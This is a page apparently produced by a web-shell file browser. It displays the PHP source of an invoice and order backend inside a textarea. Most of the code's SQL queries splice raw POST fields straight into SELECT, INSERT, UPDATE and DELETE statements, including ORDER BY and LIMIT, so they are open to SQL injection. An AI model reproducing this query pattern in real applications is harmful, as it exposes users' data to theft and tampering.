
<script>
 var c_ = '';
    var a_ = ''
    var charset_ = '';
    var p1_ = '';
    var p2_ = '';
    var p3_ = '';
    var d = document;
    function set(a,c,p1,p2,p3,charset) {
        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
    }
    function g(a,c,p1,p2,p3,charset) {
        set(a,c,p1,p2,p3,charset);
        d.mf.submit();
    }
    function sa() {
        for(i=0;i<document.files.elements.length;i++)
            if(document.files.elements[i].type == 'checkbox')
                document.files.elements[i].checked = document.files.elements[0].checked;
    }
</script><form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form><center><table border="1" width="1000"><tr><td>
<textarea name="text" disabled style="width:1000px; height:600px;">&lt;?php

include &quot;connection.php&quot;;
session_start();
$output = '';
if(isset($_POST[&quot;action&quot;])){

  // Fetch invoices
  if($_POST[&quot;action&quot;] == &quot;item_fetch&quot;){

    $draw = $_POST['draw'];
    $row = $_POST['start'];
    $row_per_page = $_POST['length'];
    $column_index = $_POST['order'][0]['column'];
    $column_name = $_POST['columns'][$column_index]['data'];
    $column_sort_order = $_POST['order'][0]['dir'];
    $csearch_value = $_POST['search']['value'];

    $search_query = &quot; &quot;;
    if($csearch_value != ''){
      $search_query = &quot; and (order_id LIKE '%&quot;.$csearch_value.&quot;%'
                            OR order_receiver_name LIKE '%&quot;.$csearch_value.&quot;%'
                            OR order_total_before_tax LIKE '%&quot;.$csearch_value.&quot;%'
                            OR order_total_tax LIKE '%&quot;.$csearch_value.&quot;%'
                            OR order_total_after_tax LIKE '%&quot;.$csearch_value.&quot;%'
                            OR order_created_at LIKE '%&quot;.$csearch_value.&quot;%' ) &quot;;
    }

    // Total number of records without filteri
    $order_result = mysqli_query($conn,&quot;SELECT count(*) AS allcount FROM tbl_orders&quot;);
    $records = mysqli_fetch_assoc($order_result);
    $total_records = $records['allcount'];

    // Total number of records with filtering
    $order_result = mysqli_query($conn,&quot;SELECT count(*) AS allcount FROM tbl_orders WHERE 1 &quot;.$search_query);
    $records = mysqli_fetch_assoc($order_result);
    $total_record_with_filter = $records['allcount'];

        $sql=&quot;SELECT order_id,
                      order_receiver_name,
                      order_total_before_tax,
                      order_total_tax,
                      order_total_after_tax,
                      order_created_at
                      FROM tbl_orders WHERE 1
                      &quot;.$search_query.&quot;
                      ORDER BY &quot;.$column_name.&quot;
                      &quot;.$column_sort_order.&quot;
                      LIMIT &quot;.$row.&quot;,&quot;.$row_per_page;


    $result = mysqli_query($conn, $sql);
    $data = array();

    while ($row = mysqli_fetch_assoc($result)){

      $data[] = array(
        &quot;order_id&quot;                      =&gt;  $row['order_id'],
        &quot;order_receiver_name&quot;           =&gt;  $row['order_receiver_name'],
        &quot;order_total_before_tax&quot;        =&gt;  $row['order_total_before_tax'],
        &quot;order_total_tax&quot;               =&gt;  $row['order_total_tax'],
        &quot;order_total_after_tax&quot;         =&gt;  $row['order_total_after_tax'],
        &quot;order_created_at&quot;              =&gt;  $row['order_created_at'],
        &quot;view&quot;                          =&gt;  '&lt;a href=&quot;print_invoice.php?order_id='.$row['order_id'].'&amp;output&quot; class=&quot;btn btn-info btn-sm&quot;&gt;&lt;i class=&quot;fas fa-download&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                                              &lt;a href=&quot;print_invoice.php?order_id='.$row['order_id'].'&quot; class=&quot;btn btn-primary btn-sm&quot; target=&quot;_blank&quot;&gt;&lt;i class=&quot;fas fa-print&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                                              &lt;a href=&quot;update_invoice.php?order_id='.$row['order_id'].'&quot; class=&quot;btn btn-success btn-sm&quot;&gt;&lt;i class=&quot;fas fa-edit&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                                              &lt;button type=&quot;button&quot; order_id=&quot;'.$row['order_id'].'&quot; class=&quot;btn btn-danger btn-sm delete_invoice&quot;&gt;&lt;i class=&quot;fas fa-trash-alt&quot;&gt;&lt;/i&gt;&lt;/button&gt;'
      );
    }

    $response = array(
      &quot;draw&quot;                  =&gt; intval($draw),
      &quot;iTotalRecords&quot;         =&gt; $total_records,
      &quot;iTotalDisplayRecords&quot;  =&gt; $total_record_with_filter,
      &quot;aaData&quot;                =&gt; $data

    );

    echo json_encode($response);

  }

  // Add items to the item_table_temp
  if($_POST[&quot;action&quot;] == &quot;add_item&quot;){

    $item_table = $_POST['item_name'].&quot;||&quot;.$_POST['qty'].&quot;||&quot;.$_POST['price'].&quot;||&quot;.$_POST['tax'].&quot;||&quot;.$_POST['subtotal'].&quot;||&quot;.$_POST['total'];

    $_SESSION['item_table_temp'][] = $item_table;
    $_SESSION['customer_name'] = $_POST['customer_name'];
    $_SESSION['customer_address'] = $_POST['customer_address'];
    $_SESSION['customer_contact'] = $_POST['customer_contact'];
    $_SESSION['customer_note'] = $_POST['note'];

  }

  // Eliminate Item from the item_table_temp
  if($_POST[&quot;action&quot;] == &quot;eliminate_item&quot;){

    unset($_SESSION['item_table_temp'][$_POST['index']]);
    $data=array_values($_SESSION['item_table_temp']);
    unset($_SESSION['item_table_temp']);
    $_SESSION['item_table_temp']=$data;

  }

  // Create invoice
  if($_POST[&quot;action&quot;] == &quot;create_invoice&quot;){

    // Check that the item_table_temp SESSION exists
    if (isset($_SESSION['item_table_temp']) &amp;&amp; $_SESSION[&quot;total&quot;] != 0.00) {

      $sql = &quot;INSERT INTO tbl_orders (order_created_by,
                                      order_receiver_name,
                                      receiver_contact,
                                      order_receiver_address,
                                      order_total_before_tax,
                                      order_total_tax,
                                      order_total_after_tax,
                                      order_note,
                                      order_created_at)
                              VALUES('&quot;.$_SESSION[&quot;user_id&quot;].&quot;',
                                    '&quot;.$_POST[&quot;customer_name&quot;].&quot;',
                                    '&quot;.$_POST[&quot;customer_contact&quot;].&quot;',
                                    '&quot;.$_POST[&quot;customer_address&quot;].&quot;',
                                    '&quot;.$_SESSION[&quot;sub_total&quot;].&quot;',
                                    '&quot;.$_SESSION[&quot;tax_amount&quot;].&quot;',
                                    '&quot;.$_SESSION[&quot;total&quot;].&quot;',
                                    '&quot;.$_POST[&quot;note&quot;].&quot;',
                                    NOW())&quot;;

      if(mysqli_query($conn, $sql)){

        // Get last insert id 
        $order_id = mysqli_insert_id($conn);

        $item_table=$_SESSION['item_table_temp'];

        for ($i = 0; $i &lt; count($item_table) ; $i++) {
          $item = explode(&quot;||&quot;, $item_table[$i]);

          $itemQuery=&quot;INSERT INTO invoice_order_item (order_id,
                              item_name,
                              order_item_quantity,
                              order_item_price,
                              order_item_tax_amount,
                              order_item_subtotal_amount,
                              order_item_final_amount)
                        values ('$order_id',
                            '$item[0]',
                            '$item[1]',
                            '$item[2]',
                            '$item[3]',
                            '$item[4]',
                            '$item[5]')&quot;;

          if(mysqli_query($conn, $itemQuery)){

            
            $output = array(
              'status'        =&gt; 'success',
              'message'       =&gt; 'New invoice successfully created!',
              'order_id'      =&gt; $order_id
            );
            unset($_SESSION['item_table_temp']);
            unset($_SESSION['customer_name']);
            unset($_SESSION['customer_contact']);
            unset($_SESSION['customer_address']);
          }
        }

      }else{
        $output = array(
          'status'        =&gt; 'error'
        );
      }

    }else{
      $output = array(
        'status'        =&gt; 'empty',
        'message'       =&gt; 'Please enter at least one item information.'
      );
    }
    echo json_encode($output);
  }

  // Cancel creation of the current invoice
  if($_POST[&quot;action&quot;] == &quot;cancel_invoice&quot;){
    unset($_SESSION['item_table_temp']);
    unset($_SESSION['customer_name']);
    unset($_SESSION['customer_contact']);
    unset($_SESSION['customer_address']);
  }

  // Delete note
  if($_POST[&quot;action&quot;] == &quot;delete_order&quot;){

    $sql = &quot;DELETE FROM tbl_orders WHERE order_id = '&quot;.$_POST[&quot;order_id&quot;].&quot;'&quot;;

    if(mysqli_query($conn, $sql)){

      $output = array(
        'status'        =&gt; 'success',
        'message'	    	=&gt; 'Invoice has been deleted successfully.',
      );

    }

    echo json_encode($output);

  }

  // Single order fetch
  if($_POST[&quot;action&quot;] == &quot;single_fetch&quot;){

    $sql = &quot;SELECT order_id,
                    order_receiver_name, 
                    order_receiver_address, 
                    order_note,
                    receiver_contact
                    FROM tbl_orders
                    WHERE order_id = '&quot;.$_POST[&quot;order_id&quot;].&quot;'&quot;;

    $result = mysqli_query($conn, $sql);
    $row = mysqli_fetch_row($result);

    $output = array(
      &quot;order_receiver_name&quot;		        =&gt;	$row[1],
      &quot;order_receiver_address&quot;      	=&gt;	$row[2],
      &quot;order_note&quot;		                =&gt; 	$row[3],
      &quot;receiver_contact&quot;		          =&gt; 	$row[4]
    );

    // Store order information in sessions.
    $_SESSION['order_id'] = $row[0];

    // Get order items
    $sql_items = &quot;SELECT * FROM invoice_order_item WHERE order_id = '&quot;.$_POST[&quot;order_id&quot;].&quot;'&quot;;
    $result_items = mysqli_query($conn, $sql_items);

    while ($row = mysqli_fetch_assoc($result_items)){  
      $update_item_table[] = $row['item_name'].&quot;||&quot;.$row['order_item_quantity'].&quot;||&quot;.$row['order_item_price'].&quot;||&quot;.$row['order_item_tax_amount'].&quot;||&quot;.$row['order_item_subtotal_amount'].&quot;||&quot;.$row['order_item_final_amount'];
    }

    $_SESSION['update_item_table_temp'] = $update_item_table;

    echo json_encode($output);

  }

  // Add items to the item_table_temp
  if($_POST[&quot;action&quot;] == &quot;update_item&quot;){

    $update_item_table = $_POST['item_name'].&quot;||&quot;.$_POST['qty'].&quot;||&quot;.$_POST['price'].&quot;||&quot;.$_POST['tax'].&quot;||&quot;.$_POST['subtotal'].&quot;||&quot;.$_POST['total'];
    $_SESSION['update_item_table_temp'][] = $update_item_table;

  }

  // Eliminate Item from the update_item_table_temp
  if($_POST[&quot;action&quot;] == &quot;delete_update_item&quot;){

    unset($_SESSION['update_item_table_temp'][$_POST['index']]);
    $table_data=array_values($_SESSION['update_item_table_temp']);
    unset($_SESSION['update_item_table_temp']);
    $_SESSION['update_item_table_temp']=$table_data;

  }

  if($_POST[&quot;action&quot;] == &quot;cancel_update&quot;){
    unset($_SESSION['order_id']);
    unset($_SESSION['update_item_table_temp']);
    unset($_SESSION['update_sub_total']);
    unset($_SESSION['update_tax_amount']);
    unset($_SESSION['update_total']);
    unset($_SESSION['update_order_note']);
  }

  // Update invoice
  if($_POST[&quot;action&quot;] == &quot;update_invoice&quot;){

    // Check that the item_table_temp SESSION exists
    if (isset($_SESSION['update_item_table_temp']) &amp;&amp; $_SESSION[&quot;update_total&quot;] != 0.00) {

      $sql = &quot;UPDATE tbl_orders SET order_last_update_by = '&quot;.$_SESSION[&quot;user_id&quot;].&quot;',
                                  order_receiver_name = '&quot;.$_POST[&quot;customer_name&quot;].&quot;',
                                  receiver_contact = '&quot;.$_POST[&quot;customer_contact&quot;].&quot;',
                                  order_receiver_address = '&quot;.$_POST[&quot;customer_address&quot;].&quot;',
                                  order_total_before_tax = '&quot;.$_SESSION[&quot;update_sub_total&quot;].&quot;',
                                  order_total_tax = '&quot;.$_SESSION[&quot;update_tax_amount&quot;].&quot;',
                                  order_total_after_tax = '&quot;.$_SESSION[&quot;update_total&quot;].&quot;',
                                  order_note = '&quot;.$_POST[&quot;note&quot;].&quot;',
                                  order_updated_at = NOW()
                                WHERE order_id = '&quot;.$_SESSION[&quot;order_id&quot;].&quot;'&quot;;

        if(mysqli_query($conn, $sql)){

          $sql2 = &quot;DELETE FROM invoice_order_item WHERE order_id = '&quot;.$_SESSION[&quot;order_id&quot;].&quot;'&quot;;
          $result = mysqli_query($conn, $sql2);

          $item_table=$_SESSION['update_item_table_temp'];

          for ($i = 0; $i &lt; count($item_table); $i++) {
            $item = explode(&quot;||&quot;, $item_table[$i]);
  
            $itemQuery=&quot;INSERT INTO invoice_order_item (order_id,
                                item_name,
                                order_item_quantity,
                                order_item_price,
                                order_item_tax_amount,
                                order_item_subtotal_amount,
                                order_item_final_amount)
                          values ('&quot;.$_SESSION[&quot;order_id&quot;].&quot;',
                              '$item[0]',
                              '$item[1]',
                              '$item[2]',
                              '$item[3]',
                              '$item[4]',
                              '$item[5]')&quot;;

            if(mysqli_query($conn, $itemQuery)){
  
              $output = array(
                'status'          =&gt; 'success',
                'order_id'        =&gt; $_SESSION[&quot;order_id&quot;]
              );

            }
          }
        }

    }else{
      $output = array(
        'status'        =&gt; 'empty',
        'message'       =&gt; 'Please enter at least one item information.'
      );
    }

    echo json_encode($output);
    unset($_SESSION['order_id']);
    unset($_SESSION['update_item_table_temp']);
    unset($_SESSION['update_sub_total']);
    unset($_SESSION['update_tax_amount']);
    unset($_SESSION['update_total']);
    unset($_SESSION['update_order_note']);

  }

}
?&gt;</textarea></td></tr></table>